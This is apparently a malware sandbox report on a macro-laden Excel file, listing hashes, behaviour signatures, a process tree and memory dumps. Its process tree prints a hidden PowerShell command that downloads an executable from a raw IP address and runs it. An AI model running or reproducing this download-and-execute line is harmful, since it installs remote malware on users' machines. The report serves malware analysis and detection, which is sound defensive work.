Resubmissions

11-06-2024 09:20

240611-la58ha1hnf 10

11-06-2024 09:18

240611-k9pt5a1hke 10

31-05-2024 08:15

240531-j5p4nach79 10

Analysis

  • max time kernel
    24s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    11-06-2024 09:18

General

  • Target

    Copy0761000025.xlsm

  • Size

    430KB

  • MD5

    d01710a02c214a5f6e0197fd291c0b10

  • SHA1

    3b2ed35df644d1684660543c56370dc8686e1a53

  • SHA256

    b18796fe4a4cf8e20e1a54ec3773c819533cb15a545093d1c6e19ce14efaa93d

  • SHA512

    45abdcf42ec483103948e2882bd8187e98ae44af425bdad5f0b1f17b99b336e80acc322c419fdab5cbc8f601993359a0e383c14927a286200c70c1044850e9e5

  • SSDEEP

    12288:7fEXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UM:7VwarmMSAGMID1R5OtM

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\Copy0761000025.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1544
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://185.205.187.173/xd/Copy0761000025pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
      2⤵
      • Process spawned unexpected child process
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2336

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/1544-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1544-1-0x00000000725ED000-0x00000000725F8000-memory.dmp

    Filesize

    44KB

  • memory/1544-4-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB

  • memory/1544-7-0x00000000725ED000-0x00000000725F8000-memory.dmp

    Filesize

    44KB

  • memory/1544-8-0x00000000061F0000-0x00000000062F0000-memory.dmp

    Filesize

    1024KB